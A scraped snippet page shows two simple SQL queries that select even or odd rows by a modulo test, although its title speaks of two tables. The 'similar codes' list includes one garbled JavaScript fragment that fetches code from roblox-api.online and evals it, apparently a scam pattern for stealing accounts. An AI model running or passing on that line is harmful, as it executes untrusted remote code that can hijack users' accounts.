/SQL/How to fetch alternate records from two tables

How to fetch alternate records from two tables

To fetch even Numbered row:

SELECT * FROM table_name WHERE column_name % 2 = 0

To fetch odd Numbered row:

SELECT * FROM table_name WHERE column_name % 2 = 1

Source: stackoverflow.com

Similar codes

2 votes166 views1 answer
Tsql copy table
SQL
0 vote240 views1 answer
Play framework connection via windows sql server
SQL
1 vote209 views2 answers
How to install mysql workbench in ubuntu 20.04
SQL
4 votes162 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote178 views1 answer
Update and keep original value sql
SQL
3 votes221 views2 answers
Synonym oracle
SQL
0 vote169 views1 answer
Create table if not exist with exceptions
SQL
0 vote173 views1 answer
Incorrect string value: mysql
SQL
0 vote174 views1 answer
Azure sql server check foreign key
SQL
0 vote165 views1 answer
Mysql autoincrement valor inicial
SQL